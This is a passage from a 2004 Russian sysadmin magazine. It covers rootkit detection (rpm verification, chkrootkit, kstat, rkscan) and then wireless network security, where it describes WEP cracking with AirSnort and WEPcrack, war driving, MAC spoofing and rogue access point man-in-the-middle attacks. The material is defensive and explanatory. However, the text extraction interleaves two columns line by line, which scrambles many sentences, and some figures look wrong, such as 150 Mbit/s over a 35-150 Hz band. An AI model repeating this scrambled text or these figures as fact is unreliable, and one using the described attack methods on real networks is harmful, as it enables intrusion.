журналах, таких, как 2600 (http://www.2600.com/phrack/) или много сложнее. Для информации загляните на его страницу
Phrack (http://www.phrack.org/). Например, статья «Hiding Out http://www.big.net.au/~silvio/, там до недавнего времени ле-
Under Unix» Black Tie Affair (25 номер, файл р25-06) описы- жал файл runtime-kernel-kmem-patching.txt, но сейчас поче-
вает возможность, и приводится исходный код, позволяю- му-то пропал или, например, целых три статьи в номере 58
щий путем модификации файла /etc/wtmp скрыть свое пре- (файлы р58-0х06, р58-0х07, р58-0х08) журнала Phrack «Sub
бывание в системе. И понеслось, через некоторое время по- proc_root Quando Sumus (Advances in Kernel Hacking)», «Linux
явились программы, «умеющие» модифицировать свой on-the-fly kernel patching without LKM» и «IA32 ADVANCED
timestamp и подгонять размер под требуемый. Теперь такие FUNCTION HOOKING», и есть информация в следующих
программы, содержащие троян, отличить от оригинальных номерах журнала.

№1(14), январь 2004 25


безопасность
Были предложены несколько вариантов решений про-  M – отличается состояние (включая разрешения и тип
блемы, например, по адресу http://www.cs.uni-potsdam.de/ файла).
homepages/students/linuxer/, можно найти вариант Себас-  S – отличается размер файла.
тьяна Крамера (Sebastian Krahmer), предлагающего конт-  5 – отличается сумма MD5 .
ролировать и регистрировать вызов execve() и в комби-  D – не соответствует число основных/второстепенных
нации с контролем логов пробовать отловить вторгшего- устройств.
ся. Вот список типично изменяемых системных вызовов:  L – не соответствует путь readLink(2).
sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill,  U – отличается пользователь-владелец.
sys_mkdir, sys_read, sys_readdir, sys_write. Но до оконча-  G – отличается группа-владелец.
тельной победы еще ой как далеко.  T – отличается mTime.

Как защититься от rootkits? Чтобы не возиться со всей системой и немного упрос-


Так как rootkits – это программы, обеспечивающие бес- тить задачу, в первую очередь необходимо проверять па-
проблемное существование взломщика, а не программы кеты net-tools, fileutils, util-linux, procps, psmisc, и findutils
для взлома системы, то чтобы от них не избавляться, луч- (командой rpm -V имя_пакета). Правда, в приведенном
ше их попросту не подцеплять. А посему настраиваем примере это все конфигурационные файлы, в которых,
firewall, убираем все лишние сервисы, и вакцинируем си- естественно, появились изменения по сравнению с ори-
стему, т.е. устанавливаем всевозможные патчи, обнов- гиналом, а вот если будут попадаться файлы из катало-
ляем ПО, убираем поддержку модулей ядра или хотя бы гов, содержащих исполняемые файлы, то необходимо на-
периодически проверяем загруженные при помощи lsmod сторожиться. При помощи команды rpm -qf /path/to/file
(если еще доверяете этой утилите). При помощи специ- можно проверить, является ли данный файл частью паке-
альных патчей к ядру вроде LIDS (http://www.lids.org/) ог- та. Обнаруженное расхождение можно, естественно, пред-
раничиваем права root, лишая тем самым нападающего варительно сохранив измененные файлы для дальнейше-
части преимуществ, а также защищаем исполняемые го изучения, тут же восстановить.
файлы, установив для них режим «только для чтения» –
READONLY, чтобы никто не мог их заменить или удалить, # rpm -Uvh -force <èìÿ_ôàéëà.rpm>
а файлам журналов разрешить только дозапись данных
APPEND, чтобы исключить возможность стирания данных. Программы проверки контроля целостности системы
Запустив команду netstat -an, запоминаем все открытые типа Tripwire (http://www.tripwire.org/) или AIDE – Advanced
порты на свежей системе, а заодно убеждаемся, что ни- Intrusion Detection Environment (http://www.cs.tut.fi/~rammer/
чего не забыто. В дальнейшем необходимо для выясне- aide.html) позволяют автоматизировать процесс подсчета
ния возможных различий производить сканирование при контрольных сумм и выдачи результата сравнения. Но при
помощи внешнего чистого компьютера (испытуемому луч- их использовании желательно базу держать на отдельном
ше не доверять). Используем, например, nmap. носителе, тем самым также защищая ее от модификации.
Также возможное заражение может подсказать непривыч-
# nmap -v -P0 -sU -sT -p 1-65535 IP_ADDRESS ное поведение любимой утилиты, т.к. ее протрояненный ва-
риант может иметь немного отличающиеся опции запуска.
Таким образом, проверим все TCP- и UDP-порты, хотя И наконец специально обученная на нахождение rootkit
это и займет некоторое время. утилита – chkrootkit (http://www.chkrootkit.org/), которая вы-
Свежеустанавливаемый софт проверяем при помощи даст предупреждение в случае, если на машине появится
контрольной суммы md5sum ( http://www.gnu.org/software/ какой-либо известный ей rootkit. Обращаю еще раз внима-
textutils/textutils.html). Те, кто пользуется rpm-based дист- ние на слово «известный», так как ситуация в данном слу-
рибутивами, могут воспользоваться возможностями это- чае аналогична таковой с антивирусами, определяя с ходу
го менеджера пакетов. Когда устанавливается новая про- уже зарегистрированный вирус, те могут пропустить что-
грамма, то данные о пакете в целом и отдельных файлах, то новенькое. Пакет состоит из нескольких утилит, выпол-
его составляющих, в том числе и контрольная сумма, за- няющих свою задачу. Так, утилита chkrootkit проверяет сиг-
носятся в базу данных. Поэтому, введя команду: натуры в следующих файлах: aliens, asp, bindshell, lkm,
rexedcs, sniffer, wted, w55808, scalper, slapper, z2, amd,
# rpm -Va > file basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep,
env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd,
можно получить представление об измененных файлах. inetdconf, init, identd, killall, ldsopreload, login, ls, lsof, mail,
Если файл окажется пустой, то изменений нет, но, прав- mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree,
да, это еще не подтверждает, что система чиста. Но вот rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd,
если появятся подобные строки: tcpdump, top, telnetd, timed, traceroute, vdir, w, write. И на
момент моего последнего посещения обнаруживала 51 из-
# rpm -Va вестных типа rootkit и тестировалась на Linux, FreeBSD,
S.5....T c /etc/hotplug/usb.usermap
S.5....T c /etc/sysconfig/pcmcia OpenBSD, NetBSD, Solaris, HP-UX 11, True64 и BSDI. Уста-
новка заключается в выполнении команды make sense, ком-
то измененные файлы необходимо проверить: пиляция обычно проходит без проблем. И далее запускаем:

26
безопасность
# ./chkrootkit При помощи утилиты кstat, ссылку на которую можно
ROOTDIR is `/' найти на http://s0ftpj.org/en/site.html, можно исследовать
Checking `amd'... not found
Checking `basename'... not infected /dev/kmem. Для установки понадобится наличие исход-
Checking `biff'... not found ных текстов ядра и при компиляции нового ядра утилиту
Checking `chfn'... not infected
необходимо обязательно пересобрать.
и так далее. При помощи ключа -Р можно просмотреть полный спи-
Утилита имеет три, на мой взгляд, заслуживающих сок процессов, включая спрятанные LKM (при иследова-
ключа работы. Если хотите проверить систему, загрузив- нии проблемы, для интереса сравните с ps aux), получить
шись с другого компьютера или при помощи LiveCD, то подробную информацию о процессе можно, воспользо-
при помощи ключа -r можно указать каталог, который бу- вавшись ключом -р с указанием pid.
дет использован как корневой при поиске.
# kstat –p 270
# ./chkrootkit -r /mnt/test
Для вывода таблицы адресов системного вызова ис-
Так как chkrootkit использует для своей работы некото- пользуйте флаг -s:
рые типичные Unix-утилиты (awk, cut, egrep, find,head, id, ls,
netstat, ps, strings, sed, uname), которые могут быть компро- # kstat –s
SysCall Address
метированы, то во избежание ошибки при поиске необходи- sys_exit 0xc0117ce4
мо использовать статически скомпилированные версии этих sys_fork 0xc0108ebc
sys_read 0xc012604c
утилит (опять же сохранив их где-нибудь подальше), а ката-
лог, где они находятся, указать при помощи ключа -p: и так далее.
И теперь, периодически сравнивая полученные значе-
# ./chkrootkit -p /mnt/safebin ния, можно проверять наличие данного вида rootkit в сис-
теме. И если на выходе получим что-то похожее на:
Для исследования подозрительных строк в двоичных
файлах можно ее запустить в опытном режиме, исполь- sys_kill 0xc28465d4 WARNING! Should be at 0xc01106b4
зовав ключ -х:
то стоит немного призадуматься над тем, что творится в
# ./chkrootkit -x | more системе.
Второй проект Стефана Ауберта (Stephane Aubert) Rkscan
Утилита ifpromisc позволяет определить, находится ли (http://www.hsc.fr/ressources/outils/rkscan/download/) предлага-
сетевой интерфейс в PROMISCIOUS-режиме. ет инструмент для автоматического определения наличия
очень популярных LKM rootkit Adore (http://spider.scorpions.net/
#./ ifpromisc ~stealth/) и knark (http://packetstrom.securify.com). Здесь все
eth0 is not promisc
просто: скачиваем, распаковываем, компилируем.
За обнаружения троянов в модулях ядра отвечают ути-
литы chkproc и chkdirs. Утилиты chklastlog, chkwtmp и # gcc -o rkscan rkscan1.0.c
check_wtmpx проверяют удаление данных в лог-файлах,
strings обеспечивает работу со строками. И еще на сайте И запускаем под обычным пользователем, потому что
утилиты имеется большое количество ссылок на матери- под root программа ругается и работать не хочет.
алы по теме статьи.
Команда find (если ей можно доверять) может обнару- *** Don't run this scanner as root ! ***
$ ./rkscan
жить файлы и каталоги, чьи имена начинаются с точки -=- Rootkit Scanner -=-
(или с пробела с точкой), которые обычно используют -=- by Stephane.Aubert@hsc.fr -=-
взломщики для хранения своих данных. Scanning for ADORE version 0.14, 0.24 and 2.0b ...
ADORE rootkit NOT DETECTED on this system.
# find / -name "*.*" Scanning for KNARK version 0.59 ...
KNARK rootkit NOT DETECTED on this system.
Утилита rkdet (http://vancouver-webpages.com/rkdet/) Done.
представляет собой демон, который обнаруживает попыт-
ку установки rootkit или сниффера. При обнаружении та- И конечно же, врага надо знать в лицо, поэтому, чтобы
кой попытки системному администратору посылается уве- знать, чего можно действительно ожидать от того или ино-
домление по e-mail, протоколирует его в logfile, может от- го rootkit, можно только при очень детальном их исследо-
ключить систему от сети или вовсе остановить ее. Не тре- вании. Вы можете скачать и попробовать различные rootkit
бует перекомпиляции вместе с ядром. в действии (только в учебных целях!) с сайта packetstorm
Единственный путь обнаружения LKM rootkit – это ана- (http://packetstorm.decepticons.org/UNIX/penetration/rootkits/).
лиз системной памяти. Один из способов состоит в срав- Вот в принципе и все, что хотелось рассказать сегодня.
нении адреса системного вызова, который rootkit изменя- Вывод один – админ должен быть немного параноиком, пото-
ют на свой. му что нападающий всегда идет на шаг впереди. Успехов.

№1(14), январь 2004 27


безопасность

БЕЗОПАСНОСТЬ
БЕСПРОВОДНЫХ СЕТЕЙ

ВИКТОР ИГНАТЬЕВ

28
безопасность
На сегодняшний день Россия является одной из наибо- Технология xG – технология модуляции, обеспечиваю-
лее развивающихся стран в индустрии информационных щая возможность высокоскоростной радиопередачи дан-
технологий, но развивающейся не с точки зрения созда- ных по узкой полосе частот. Она позволяет передавать
ния новых технологий, а с точки зрения увеличения еди- данные на скорости 150 Мбит/c и выше в низкочастотном
ниц компьютерной техники в год. Каждый человек при- диапазоне, используемом для пейджинга (35-150 Гц).
обретает компьютер ради какой-то цели: начинающие Сфера применения технологии – DSL, кабельное телеви-
фирмы покупают компьютерную технику больше для пре- дение, локальные сети и т. п.
стижа, чем для реальных задач, в то время как крупные Технология HomeRF 1.0 нацелена на построение бес-
компании и корпорации уже не могут представить свой проводных сетей в частных домовладениях и малых
бизнес без существования компьютеров. Соответствен- офисах. Оборудование HomeRF работает в диапазоне
но с увеличением числа компьютерной техники в офи- частот 2,4 ГГц, для передачи трафика используется
сах появляется проблема передачи данных с одной ра- метод расширения спектра со скачкообразной пере-
бочей станции на другую. Эта проблема решается про- стройкой частоты.
водкой сети. Если количество машин около 40-50 штук, В марте 2001 г. появилась модернизация – HomeRF
это ещё можно стерпеть, и протянуть ~500 метров кабе- 2.0. В новом стандарте заметно увеличилась поддержи-
ля и расставить маршрутизаторы/свитчи/хабы, но что ваемая скорость обмена данными до 10 Мбит/с, а также
делать, если речь идёт о крупной корпорации, где ко- уровень шифрования на уровне MAC – 120 бит.
личество компьютеров и офисной техники исчисляется Стандарт IEEE 802.15.1 – Bluetooth предназначен для
сотнями? Закупать километры кабеля и десятки еди- построения так называемых персональных беспровод-
ниц сетевого оборудования? Нет. В XXI столетии люди ных сетей (Wireless Personal Area Network, WPAN). Бес-
научились передавать информацию по воздуху. Теперь проводная технология Bluetooth является стандартом
нет необходимости в проводах и кабелях. Технология связи на небольших расстояниях между мобильными
беспроводной передачи данных в России считается до- персональными компьютерами, мобильными телефона-
статочно новой, в то время как в Европе и США она ми и иными портативными устройствами. Изначально
уже стала обычной составляющей рабочего места IT- дальность действия радиоинтерфейса закладывалась
работника. В настоящее время большое количество равной 10 метрам, однако сейчас спецификациями
фирм покупают готовые решения на базе беспровод- Bluetooth уже определена и вторая зона около 100 м –
ных сетей и избавляют себя от массы организацион- для покрытия стандартного дома или вне его. При этом
ных проблем. Разумеется, стандартов беспроводной нет необходимости в том, чтобы соединяемые устрой-
связи существует немало, ниже приводятся характери- ства находились в зоне прямой видимости друг друга,
стики основных из них. их могут разделять «радиопрозрачные» препятствия
(стены, мебель и т. п.), и к тому же приборы могут на-
Разновидности протоколов ходиться в движении. Для работы радиоинтерфейса
и их характеристики Bluetooth используется так называемый нижний (2,45 ГГц)
Стандарт wireless 1394 – известная технология FireWire диапазон ISM (industrial, scientific, medical), предназна-
нашла для себя новую область применения – беспровод- ченный для работы промышленных, научных и медицин-
ные системы. Wireless Working Group в настоящее время ских приборов. Радиоканал обладает полной пропуск-
работает над адаптацией протоколов 1394 к беспровод- ной способностью в 1 Мбит/с, что обеспечивает созда-
ным средам, построенным на основе технологии 802.11, ние асимметричного канала передачи данных на скоро-
т.е. беспроблемным соединением между FireWire и сетя- стях 723,3/57,6 Кбит/с или полнодуплексного канала на
ми AirPort/WiFi. Основная идея этого протокола – защита скорости 433,9 Кбит/с.
цифровых аудио- и видеоданных от несанкционирован- Базовый стандарт IEEE 802.11. В его основу поло-
ного перехвата. жена сотовая архитектура, причем сеть может состо-
Стандарт HiperLAN2 – High Perfomance Radio LAN, как ять как из одной, так и из нескольких ячеек. Каждая
прогнозируют, может стать основным конкурентом тех- сота управляется так называемой точкой доступа –
нологий беспроводных сетей 802.11. Access Point (AP). Точка доступа вместе с подключен-
HiperLAN2 ориентирован на работу в диапазоне 5 ГГц ными рабочими станциями пользователей образует
и способен обеспечить скорость передачи данных до базовую зону обслуживания – Basic Service Set (BSS).
54 Мбит/с. Спецификации протокола доступа к среде MAC Точки доступа многосотовой сети взаимодействуют меж-
несколько другая, нежели чем у 802.11а. Для 802.11а он ду собой через распределительную систему Distribution
аналогичен Ethernet, а в HiperLAN2 больше напоминает System (DS), представляющую собой эквивалент маги-
АТМ. Так же HiperLAN2 имеет поддержку трафика муль- стрального сегмента кабельных сетей. Вся инфраструк-
тимедиа и QoS. тура, включающая точки доступа и распределительную
Стандарт 5-UP – протокол 5-GHz Unified Protocol (5-UP), систему, образует расширенную зону обслуживания –
обеспечивает возможность взаимодействия друг с другом Extended Service Set. Также предусмотрен односотовый
высокоскоростных и низкоскоростных устройств и передачу вариант беспроводной сети, который может быть реа-
мультимедийных потоков со скоростью до 108 Мбит/с. лизован и без точки доступа, при этом часть ее функ-
5-UP является расширением для беспроводных сетей IEEE, ций выполняются непосредственно рабочими станция-
ETSI. ми. Для обеспечения роуминга предусмотрены специ-

№1(14), январь 2004 29


безопасность
Òàáëèöà 1. Âûãîäà ïðîòîêîëîâ

Òàáëèöà 2. Ñðàâíåíèå ïðîòîêîëîâ

альные процедуры сканирования и присоединения – ных Заполярного ГКМ для обмена данными с буровыми
Association. площадками филиала «Тюменбургаз» ДООО «Бургаз».
Также существует ряд расширений протокола IEEE Сеть была окончательно развёрнута 31 декабря 2001 г.,
802.11, такие как: IEEE 802.11a, b-n. В таблицах 1 и 2 даны работает по стандарту Wi-Fi/802.11b. Рабочий диапазон ча-
сравнительные характеристики наиболее распространён- стот: 2400-2483 МГц. Радиус зоны действия сети: до 3 км
ных протоколов. (местная сеть на буровой площадке), до 25-35 км (магис-
В России уже имеется определённый опыт использо- тральный канал).
вания беспроводных сетей, вот некоторые примеры ра- Также можно привести пример функционирования сети
ботающих сетей. в тяжёлых погодных условиях. В марте 2001 г. был закон-
В октябре 2000 г. в Иваново завершился второй этап чен финальный этап развёртывания корпоративной сети
развёртки городской беспроводной сети. Сеть работает передачи данных для нескольких нефтегазодобывающих
по стандарту Wi-Fi/802.11b, на частоте 2,4-2,483 ГГц, со управлений (НГДУ) в районе городов Новый Уренгой и
скоростью 11 Мбит/с. Число поддерживаемых рабочих Пыть-Ях. Сеть работает по стандарту Wi-Fi/802.11b, на
мест составляет до 100 радиоабонентов. Сеть, изначаль- частоте 2,4-2,483 ГГц, со скоростью 11 Мбит/с, имеет
но создававшаяся как корпоративная, со временем при- модифицированный протокол MAC в маршрутизаторах
обрела статус городской (и областной) беспроводной ORiNOCO Outdoor Routers. В связи с суровыми погодны-
сети передачи данных. ми условиями всё уличное оборудование монтировалось
Актуальность Wi-Fi-технологии можно показать на в специальных термоконтейнерах. Базовые станции мон-
очень ярком примере беспроводной сети передачи дан- тировались на буровых вышках – на высоте от 30 до 80 м.

30
безопасность
Преимущества беспроводных сетей чае переезда вам достаточно будет установить точку до-
Итак, предположим, вы уже много наслышаны о беспровод- ступа в удобном месте и включить компьютеры.
ных сетях и решили внедрить эту технологию в свой бизнес.
Какую выгоду вы получаете от этого? Средства защиты
 Простота развёртывания. Сетевым администраторам и Многие производители аппаратной части разрабатывают
прочим IT-специалистам больше не придётся протяги- свои методы защиты и шифрования соединений, но они
вать метры кабелей через чердаки и подвалы. Они с в большинстве своём мало совместимы друг с другом.
удовольствием потратят это время на настройку и от- Далее подробно рассмотрим безопасность сетей стан-
ладку сети. дарта IEEE 802.11b, так как 90% (если не больше) корпо-
 Мобильность. На схеме 1 изображена примерная схе- ративных сетей развёрнуты именно на его базе.
ма сети малого предприятия. Если бы вашей задачей Стандарт 802.11b имеет модель защиты, которая по-
являлось перенести всю сеть в здание нового офиса, зволяет мобильным клиентам безопасно соединяться и
то для этого вам потребовалось бы отключить все сете- взаимодействовать с точкой доступа и обеспечивает кон-
вые кабели, вытащить их и смотать, а на новом месте фиденциальную передачу данных. Она состоит из двух
проделать обратную процедуру. Даже если переехать базовых методов:
нужно было бы всего лишь одному сотруднику, у вас  SSID
бы ушло некоторое время на демонтаж кабеля и новое  WEP
подключение.
A Service Set Identification (SSID) – служебный иденти-
Теперь обратим внимание на схему 2. На ней изобра- фикатор, это имя сети в сегменте беспроводной сети. Он
жена схема беспроводной сети. (По причине высокого также логически разделяет пользователей и точку досту-
распространения за основу взят стандарт 802.11). Из схе- па. Вообще для соединения с сетью беспроводной сете-
мы видно, что пользователи могут безо всяких проблем вой адаптер (WNIC) клиента должен быть настроен с та-
перемещаться в зоне действия беспроводной сети. В слу- ким же SSID, что и у точки доступа.

Ñõåìà 1. Îáû÷íàÿ êàáåëüíàÿ ñåòü

Ñõåìà 2. Áåñïðîâîäíàÿ ñåòü. Ñòàíäàðò 802.11

№1(14), январь 2004 31


безопасность
Wired Equivalent Privacy (WEP) – был утверждён IEEE пользователь шифрует 802.11b фреймы WEP, атакую-
для того, чтобы безопасность WLAN стала сопоставима с щий не сможет декодировать данные до тех пор, пока у
обычными проводными сетями, такими как локальная сеть него не будет верного WEP-ключа.
(LAN). Иными словами, WEP представляет собой возмож- Для получения доступа к WLAN стандарт 802.11b ука-
ность шифрования передаваемых данных. В процессе зывает, что клиент должен пройти 2 этапа:
WEP-кодирования используется симметричный ключ и  Процесс авторизации.
математический алгоритм для преобразования данных в  Процесс присоединения.
нечитаемый текст, называемый текст-шифр. В криптог-
рафии симметричный ключ – это значение с переменной Клиент, желающий подключиться к WLAN, должен
длиной, используется для шифрования и расшифровки сперва пройти авторизацию.
данных. Любое устройство, участвующее в соединении, В процессе авторизации проверяется информация
должно иметь одинаковый ключ. WEP-ключи конфигури- о клиенте, и это является начальным этапом соедине-
руются WLAN-администратором, чем длиннее ключ, тем ния с точкой доступа. Существует 2 типа авторизации:
сложнее будет расшифровать шифр-текст. WEP исполь-  Открытая система (Open System Authentication).
зует алгоритм RC4, которому в свою очередь необходим  Общий ключ (Shared Key Authentication).
Вектор Инициализации (InitializationVector (IV)). IV это псев-
до-случайная бинарная строка для скачкообразного про- Открытая система (OSA) подразумевает, что всё вза-
цесса шифрования для алгоритмов, зависящих от преды- имодействие проходит в открытом виде, без использо-
дущей последовательности блоков шифр-текста. WEP со- вания WEP-ключей. Любой клиент может беспрепят-
вмещает в себе до 4 симметричных ключей переменной ственно присоединиться к WLAN. Единственное, что не-
длины, основанных на потоковом шифре RC4. Все ключи обходимо, – это SSID. Некоторые точки доступа прини-
статичны и одинаковы для всех устройств в WLAN. Это мают даже нулевой SSID. Точка доступа может быть на-
означает, что все WEP-ключи вручную настраиваются на строена на оба типа.
всех WLAN-устройствах и не меняются, пока админист- В отличие от OSA, Shared Key Authentication (SKA) под-
ратор не сгенерирует новые ключи. Большинство 802.11b- разумевает посылку запроса на шифрование. Клиент
оборудования поддерживают 2 размера ключей: шифрует запрос и посылает его обратно. Точка доступа
 64-бита 40-битный ключ и 24-битный Вектор Инициа- декодирует ответ и сравнивает его с оригиналом. Если
лизации; результат положительный, клиент может осуществить
 128-бит 104-битный ключ и 24-битный Вектор Инициа- присоединение.
лизации. Присоединение – это финальный этап соединения с
беспроводной сетью, результатом которого является пол-
WEP имеет 2 основных назначения: ноценное подключение клиента к точке доступа.
 Запрещение доступа к WLAN; Таким образом, стандарт 802.11b предусматривает
 Препятствие «атаке повтором». 3 состояния:
 Состояние 1: Неавторизирован и не присоединён.
Точка доступа использует WEP для предотвращения  Состояние 2: Авторизирован и не присоединён.
доступа к WLAN, посылая текстовые запросы конечно-  Состояние 3: Авторизирован и присоединён.
му клиенту. Клиент шифрует запрос своим ключом и
отправляет его обратно точке доступа. Если результат С технической точки зрения процесс доступа делится
идентичен, пользователь получает доступ в сеть. на 3 фазы:
 Фаза поиска.
 Фаза авторизации.
 Фаза присоединения.
Фаза поиска. Клиент посылает пробный пакет по всем
каналам и ждёт ответа от любой точки доступа. Ответ
точки доступа содержит информацию, необходимую для
процесса соединения.
Фаза авторизации. Как указывалось выше, точка дос-
тупа может быть одновременно и SKA и OSA типа. На-
стройка точки доcтупа определяет, какой тип авториза-
ции будет использоваться.
Фаза присоединения. Клиент посылает пакет – зап-
рос на присоединение. Точка доступа посылает пакет –
ответ, разрешающий присоединение. Состояние «Авто-
Ðèñóíîê 1 ризирован и присоединён» финальный этап инициали-
WEP также препятствует «атаке повтором». «Атака зации между точкой доступа и клиентом при условии,
повтором» заключается в декодировании пойманных в что отсутствуют другие защитные механизмы, такие как:
беспроводной сети пакетов. Если атакуемый WLAN- RADIUS, EAP или 802.1X. Клиент подключается к WLAN.

32
безопасность
Методы атак на беспроводные сети жаются ноутбуком, беспроводной сетевой картой и ан-
Атаки условно делятся на 3 основных категории: пассив- тенной помощнее. После проезда нескольких километ-
ные атаки, активные атаки и атаки помехами. Рассмот- ров по мегаполису они уже имеют список ряда беспро-
рим подробнее каждую из вышеперечисленных. водных сетей, 90% из которых плохо защищены.
Большинство этих «деятелей» используют бесплат-
Пассивные атаки ную программу определения беспроводных сетей «The
Основной целью таких атак является перехват данных, Netstumbler». На рисунках 2 и 3 изображено рабочее окно
проходящих по каналам беспроводной сети. Для осуще- программы Netstumbler. Программа в основном работа-
ствления этого атакующему необходим компьютер с бес- ет с адаптерами, основанными на чипах «Hermes», так
проводным сетевым адаптером и специальным программ- как именно они способны определять точки доступа, на-
ным обеспечением для перехвата трафика. Такое ПО по- ходящиеся в одном диапазоне и с активированным WEP.
лучило название «сниффер» (от англ. to sniff – нюхать, Одной из самых распространённых карт на базе чипа
принюхиваться). Яркими представителями этого класса «Hermes» является «ORiNOCO». Другим преимуществом
программ являются: для ОС Windows – WinDump, Zxsniffer, этой карты является возможность присоединения внеш-
Iris. Для Unix-подобных ОС – TCPDump, Dsniff, Ethereal, ней антенны, которая в несколько раз увеличивает диа-
Ettercap, AirSnort. пазон «видимости» сигналов точек доступа. К сожале-
Пассивные атаки очень сложно обнаружить, т.к. ни- нию, карты на чипах «Hermes» не умеют работать в ре-
каких исходящих данных от атакующего не поступает. жиме «прослушки» (promiscuous mode). Для этих целей
Системным администраторам не следует применять необходимо иметь карту на чипе «PRISM2». Большин-
DHCP-серверы, или, если они так необходимы, стоит ство фирм-производителей используют именно этот чип,
проверять лог-файлы как можно чаще. Если в сети по- например, Linksys WPC. Искушенные war-driver имеют
явится неизвестный MAC-адрес, то следует считать, что два адаптера, один для поиска сетей, другой для пере-
это потенциальный взломщик. хвата данных.
Если вы обнаружили, что под окном вашей организа- Несмотря на то что Netstumbler бесплатный продукт,
ции стоит автомобиль с подозрительной антенной, у во- это серьёзное и многофункциональное средство, которое
дителя выясните назначение этой антенны. Именно он является превосходным решением для поиска беспровод-
может оказаться злоумышленником. ных сетей. Кроме того, Netstumbler может дать деталь-
В наше время пассивные атаки очень распростране- ную информацию относительно найденных беспроводных
ны, это даже стало хобби для многих людей. Такое заня- сетей, эта информация может быть использована в ком-
тие называется «war driving» или «war plugging» (боевое бинации с GPS, чтобы обеспечить точное местоположе-
вождение или боевое присоединение). War-driver воору- ние относительно широты и долготы.

Ðèñóíîê 2. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

№1(14), январь 2004 33


безопасность
После запуска NetStumbler начинает слать широкове- достаточное количество трафика для взлома шифрован-
щательные запросы несколько раз в секунду. Если одна ных данных. Netstumbler работает с сетями, настроенны-
из точек доступа ответила, NetStumbler оповещает об этом ми как Открытая система. Это значит, что сеть обнару-
пользователя и выдаёт информацию, извлечённую из живает своё существование и посылает в ответ свой SSID.
802.11b фреймов: SSID, MAC-адрес, канал, силу сигнала и Однако это не значит, что сеть может быть с лёгкостью
информацию о том, активирован ли WEP или нет. скомпрометирована, т.к. могут быть использованы допол-
Есть несколько моментов, на которые стоит обратить нительные средства защиты. Для защиты от Netstumbler
внимание. и других программ определения беспроводных сетей, ад-
 Во-первых, большинство точек доступа настроены с министраторы должны конфигурировать беспроводные
SSID по умолчанию, то есть настройщики его не ме- сети как Закрытые системы. Это значит, что точки досту-
няли. па не будут отвечать на запросы «нулевого» SSID и будут
 Во-вторых, в некоторых сетях SSID имеет смысловое «невидимы» для таких программ, как Netstumbler, кото-
отношение к сети, например: universityserver. Мы можем рые полагаются на эту технологию поиска беспроводных
предположить, что эта точка доступа какого-то учебного сетей. Тем не менее, возможен захват «сырых» 802.11b-
заведения. фреймов и их последующее декодирование при помощи
«Ethereal» и «WildPacket’s AiroPeek». Также для поиска
Вышеперечисленные особенности делают работу ата- беспроводных сетей могут быть использованы анализа-
кующего намного проще. Использование Netstumbler – на- торы спектра радиочастот. Несмотря на несовершенность
чальный этап злоумышленника. После сбора информа- закрытой системы, следует использовать эту именно тех-
ции о беспроводной сети и получения SSID, атакующий нологию.
подключается к ней, чтобы перехватить трафик. Трафик Следует отметить, что точки доступа работают как
может содержать большое количество информации о сети полудуплексные устройства, такие как хабы и репитеры.
и о компании, которая использует эту сеть. Например, про- Это означает, что все устройства в сети могут «видеть»
сматривая трафик, злоумышленник может выяснить ад- трафик других устройств. Единственной защитой являет-
реса DNS-серверов, страницы, заданные по умолчанию в ся шифрование трафика разными методами: WEP, VPNs,
браузерах, сетевые имена, сессии авторизации, и т. д. Эта SSL, Secure Shell (SSH), Secure Copy (SCP), и т. д. Неко-
информация может быть использована для дальнейших торые методы могут быть более эффективными, всё за-
атак. Если в сети активирован WEP, атакующий соберёт висит от обстоятельств.

Ðèñóíîê 3. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

34
безопасность
Активные атаки Рабочее окно программы отображено на рисунке 4.
Как только злоумышленник получает доступ к сети при AirSnort должен собрать от 500мб до 1000 Мб трафика
помощи пассивных атак, он приступит к осуществлению чтобы получить WEP-ключ. Это может занять от пары ча-
активной атаки. В большинстве своём активные атаки на сов до нескольких дней, всё зависит от загруженности
беспроводные сети мало чем отличаются от атак на обыч- сети: чем она загруженней, тем быстрее атакующий по-
ные сети. Но с ростом популярности беспроводных сетей лучит ключ. AirSnort использует маленький 24-битный IV,
увеличилось и число разновидностей атак на них, напри- так что не имеет особого значения, какой длины ключ:
мер, «drive-by spamming». Эта атака представляет собой 64-битный или 128-битный. После того как хакер захва-
рассылку спама из скомпрометированной сети. тил нужное количество трафика, ему понадобится про-
Ввиду происхождения беспроводных сетей и несо- грамма WEPcrack. Это скрипт, который используют для
вершенности WEP, неавторизированный доступ и спу- вычисления WEP-ключа из захваченного трафика. Как
финг являются самыми распространёнными атаками. только ключ захвачен, атакующий может присоединить-
Спуфингом называют ситуацию, при которой неавто- ся к точке доступа.
ризированный клиент выдает себя за авторизирован- При соединении с беспроводной сетью взломщик ис-
ного. Самой распространённой защитой от подобного пользует обычные средства, характерные для кабельных
рода атак является фильтрация MAC-адресов. Список сетей, такие как: подбор паролей, поиск уязвимых серви-
разрешённых MAC-адресов хранится на точке доступа. сов или просто DoS-атаки или SYN-флуд.
Но этот метод тоже не совершенен. Осуществить сме- Так, одной из самых результативных атак является
ну MAC-адреса не составляет особого труда. В ОС атака «Man-in-the-Middle».
Windows это возможно при помощи таких программ, как Атака человек-по-середине заключается в перехвате
«Smack», «USTmacdak», а в Unix-подобных ОС коман- сеанса 2 клиентов. Атакующий имеет 2 сетевых адаптера
дой «ifconfig». К тому же MAC-адреса передаются в сети и организовывает фальшивую точку доступа. Он застав-
открытым текстом, и их сбор также не составит боль- ляет других клиентов использовать его точку доступа, а
шого труда. сам перенаправляет трафик на реальную точку доступа,
В сети может быть активирован WEP, но его тоже мож- тем самым, получая доступ ко всем сеансам связи.
но обойти, т.к. текст-запрос и шифр-текст передаются в Злоумышленник может установить фальшивую точку
открытом виде, и атакующий сможет подобрать ключ и доступа в машине, под окном организации, в вентиляци-
проникнуть в сеть. Для взлома WEP злоумышленнику по- онной системе, под столами, в кладовках и т. п. Если его
надобится специальный сниффер. AirSnort – специальная антенна достаточно мощная, то ему необязательно ста-
программа для *nix-платформ для взлома WEP-ключей. вить фальшивку близко к легитимной точке доступа.

Ðèñóíîê 4. Ðàáî÷åå îêíî ïðîãðàììû AirSnort

№1(14), январь 2004 35


безопасность
Атаки помехами .Организуйте систематическую смену WEP-ключей.
Цель атаки – глушение сигнала, т.е. это атака на отказ в .Смените SSID, установленный по умолчанию на что-
